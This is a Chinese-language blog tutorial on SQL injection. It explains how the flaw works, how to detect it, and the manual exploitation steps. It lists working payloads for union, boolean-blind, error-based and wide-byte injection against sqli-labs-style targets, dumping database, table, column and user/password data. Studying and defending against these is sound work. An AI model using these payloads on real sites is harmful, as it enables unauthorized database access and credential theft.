SQL注入基本概念

目录

SQL注入原理

SQL注入过程

 SQL注入带来的危害

判断是否存在SQL注入

SQL手工注入过程

常见SQL注入类型

联合查询

布尔盲注

时间注入

报错注入

extractvalue报错注入

updatexml报错注入

宽字节注入

二次注入


SQL注入原理

服务端没有过滤用户输入的恶意数据,直接把用户输入的数据当做SQL语句执行,从而影响 数据库安全和平台安全

判断能否注入需要两个条件:

1.用户能够控制输入

2.原本程序要执行的SQL语句,拼接了用户输入的恶意语句


SQL注入过程

1.攻击者访问有SQL注入漏洞的网站,寻找注入点

2.攻击者构造注入语句,注入语句和程序中的SQL语句结合生成新的SQL语句

3.新的SQL语句被提交到数据库中进行处理

4.数据库执行了新的SQL语句,引发SQL注入攻击


 SQL注入带来的危害

绕过登陆验证:使用万能密码登录网站后台等

获取敏感数据:获取网站管理员帐号、密码等

文件系统操作:列目录,读取、写入文件等

注册表操作:读取、写入、删除注册表等

执行系统命令:远程执行命令


判断是否存在SQL注入

经典:and 1=1

数据库函数:sleep(4)=1

特殊符号:单引号(’) 双引号(”)

若页面返回报错就说明输入内容破坏了原来的代码结构,存在注入点


SQL手工注入过程

判断是否存在注入点;

判断字段长度(字段数);

判断字段回显位置;

判断数据库信息;

查找数据库名;

查找数据库表;

查找数据库表中所有字段以及字段值;

猜解账号密码;

登录管理员后台


常见SQL注入类型

联合查询

在mysql 5.0 以上版本中,mysql存在一个自带数据库名为information_schema,它是一个

存储所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名

或列名信息。

information_schema.tables 记录所有表名信息的表

information_schema.columns 记录所有列名信息的表

table_name 表名

columns_name 字段名

table_schema 所有表名对应的数据库名

?id=1'order by 3 --+


?id=-1'union select 1,2,3--+


?id=-1'union select 1,database(),version()--+


?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+


?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+


?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

 

如果information字段被过滤咋办

可以尝试其他表

sys.schema_auto_increment_columns

sys.schema_table_statistics_with_buffer

mysql.innodb_table_stats

mysql.innodb_table_index


布尔盲注

?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
 
 
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
 
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
 
 
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
 
 
 

时间注入

时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。


 

报错注入

extractvalue报错注入

extractvalue(XML_document,XPath_string)

第一个参数XML文档对象名称,第二个为查询文件里的字符串

文件路径:基本都以 / 开头 。

所以extractvalue(),第二参数(路径)以 ~ 符号开头,就会使其报错。

1' and (extractvalue(1,concat(0x5c,version(),0x5c)))#    爆版本
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#   爆数据库
 
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#   爆表名
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))# 
 爆字段名
 
1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))#      爆字段内容该格式针对mysql数据库。
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))#                      爆字段内容。
 

updatexml报错注入

UPDATEXML (XML_document, XPath_string, new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值

当我们XPath_string语法报错时候就会报错,updatexml()报错注入和extractvalue()报错注入基本差不多。

以上函数若被过滤可以试一下经纬度函数


宽字节注入

宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码格式从而导致产生宽字节注入

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符

mysql_escape_string() 转义一个字符串

如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用我们上面所介绍的几种函数,将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义 ,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用。但添加的字符的Ascii要大于128,两个字符才能组合成汉字 ,因为前一个ascii码要大于128,才到汉字的范围 ,这一点需要注意。

?id=-1%df' and 1=1 union select 1,database()%23    #爆库名



?id=-1%df' and 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23            #爆表名


?id=-1%df' and 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23              #爆字段


?id=-1%df' and 1=1 union select 1,(select flag from ctf4)%23        #爆值



 

二次注入

二次注入的原理,在第一次进行数据库插入数据的时候,使用了 addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

1.插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

2.引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。


  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值